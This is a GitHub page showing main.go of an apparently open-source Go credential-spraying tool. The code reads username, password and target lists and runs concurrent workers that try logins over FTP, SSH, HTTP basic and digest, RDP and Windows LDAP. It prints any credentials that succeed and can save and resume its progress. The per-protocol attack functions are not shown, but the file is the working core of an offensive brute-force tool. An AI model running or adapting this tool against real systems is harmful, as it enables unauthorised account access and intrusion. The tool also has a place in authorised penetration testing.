-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.go
189 lines (170 loc) · 5.35 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
package main
import (
// "os"
"flag"
"fmt"
"math/rand"
"sync"
"time"
// "FtpSpray"
)
var restoreTask bool
var pathToUsernameList string
var usernameListRandomization bool
var pathToPasswordList string
var passwordListRandomization bool
var protocol string
var pathToTargetList string
var workersNumber int
var taskStateObj taskState
func printSuccessfulLogin(c chan string) {
for {
credentials := <-c
fmt.Println("\nSuccess: " + credentials)
}
}
type runningTask struct {
RandomSeed int64
UsersList string
PasswordsList string
ProtocolToSpray string
Targets []string
WorkersCount int
WorkersStates []workerState
UsernamesRandomization bool
PasswordsRandomization bool
}
var currentTask runningTask
func init() {
flag.BoolVar(&restoreTask, "restore", false, "Restore task")
flag.StringVar(&pathToUsernameList, "ul", "usernames.txt", "Path to usernames list")
flag.StringVar(&pathToPasswordList, "pl", "passwords.txt", "Path to passwords list")
flag.BoolVar(&usernameListRandomization, "ru", false, "Randomize users list")
flag.BoolVar(&passwordListRandomization, "rp", false, "Randomize passwords list")
flag.StringVar(&protocol, "p", "ftp", "Protocol (ftp,ssh,httpbasic,httpdigest,rdp,winldap)")
flag.StringVar(&pathToTargetList, "tl", "targets.txt", "Path to targets list")
flag.IntVar(&workersNumber, "w", 5, "Number of Workers")
flag.Parse()
}
// func BeginBrute(userlist string, passlist string, rndUlist bool, rndPlist bool, proto string, targets string, wrkr int) {
// pathToUsernameList = userlist
// pathToPasswordList = passlist
// usernameListRandomization = rndUlist
// passwordListRandomization = rndPlist
// protocol = proto
// pathToTargetList = targets
// // if strings.Contains(targets, ":") {
// // ipList = false
// // target = targets
// // }
// /*
// else {
// _, err := os.Stat(targets)
// if err != nil {
// log.Println("IPList does not exist")
// } else {
// ipList = true
// targetList = getIPs(targets)
// }
// }
// */
// startTaskService()
// }
func main() {
if restoreTask == true {
err := readGob("./progress.gob", ¤tTask)
if err != nil {
fmt.Println(err)
}
} else {
if usernameListRandomization || passwordListRandomization {
currentTime := time.Now().UnixNano()
currentTask.RandomSeed = currentTime
if usernameListRandomization {
currentTask.UsernamesRandomization = true
}
if passwordListRandomization {
currentTask.PasswordsRandomization = true
}
} else {
currentTask.RandomSeed = 0
currentTask.PasswordsRandomization = false
currentTask.UsernamesRandomization = false
}
currentTask.UsersList = pathToUsernameList
currentTask.PasswordsList = pathToPasswordList
currentTask.ProtocolToSpray = protocol
currentTask.Targets = loadList(pathToTargetList)
currentTask.WorkersCount = workersNumber
for i := 1; i <= workersNumber; i++ {
currentTask.WorkersStates = append(currentTask.WorkersStates, workerState{
WorkerId: i,
WorkerProgress: 0,
})
}
saveProgress()
}
usernames := loadList(currentTask.UsersList)
passwords := loadList(currentTask.PasswordsList)
if currentTask.UsernamesRandomization {
rand.Seed(currentTask.RandomSeed)
rand.Shuffle(len(usernames), func(i, j int) { usernames[i], usernames[j] = usernames[j], usernames[i] })
}
if currentTask.PasswordsRandomization {
rand.Seed(currentTask.RandomSeed)
rand.Shuffle(len(passwords), func(i, j int) { passwords[i], passwords[j] = passwords[j], passwords[i] })
}
//targetToSpray := parseTarget(currentTask.Target)
wholeTask := task{targetsRaw: currentTask.Targets, usernames: usernames, passwords: passwords, numberOfWorkers: currentTask.WorkersCount}
tasks := dispatchTask(wholeTask)
var wg sync.WaitGroup
channelForWorker := make(chan string)
go printSuccessfulLogin(channelForWorker)
iter := 0
if currentTask.ProtocolToSpray == "ftp" {
for _, task := range tasks {
wg.Add(1)
go ftpSpray(&wg, channelForWorker, task, ¤tTask.WorkersStates[iter].WorkerProgress)
iter++
}
} else if currentTask.ProtocolToSpray == "ssh" {
for _, task := range tasks {
wg.Add(1)
go sshSpray(&wg, channelForWorker, task, ¤tTask.WorkersStates[iter].WorkerProgress)
iter++
}
} else if currentTask.ProtocolToSpray == "httpbasic" {
for _, task := range tasks {
wg.Add(1)
go basicSpray(&wg, channelForWorker, task, ¤tTask.WorkersStates[iter].WorkerProgress)
iter++
}
} else if currentTask.ProtocolToSpray == "httpdigest" {
for _, task := range tasks {
wg.Add(1)
go digestSpray(&wg, channelForWorker, task, ¤tTask.WorkersStates[iter].WorkerProgress)
iter++
}
} else if currentTask.ProtocolToSpray == "rdp" {
for _, task := range tasks {
wg.Add(1)
go rdpSpray(&wg, channelForWorker, task, ¤tTask.WorkersStates[iter].WorkerProgress)
iter++
}
} else if currentTask.ProtocolToSpray == "winldap" {
for _, task := range tasks {
wg.Add(1)
go ldapSpray(&wg, channelForWorker, task, ¤tTask.WorkersStates[iter].WorkerProgress)
iter++
}
} else if currentTask.ProtocolToSpray == "kerberos" { // Doesn't work :(
for _, _ = range tasks {
wg.Add(1)
//go kerberosSpray(&wg,channelForWorker,task,¤tTask.WorkersStates[iter].WorkerProgress)
iter++
}
}
go monitorCurrentTask()
wg.Wait()
close(channelForWorker)
}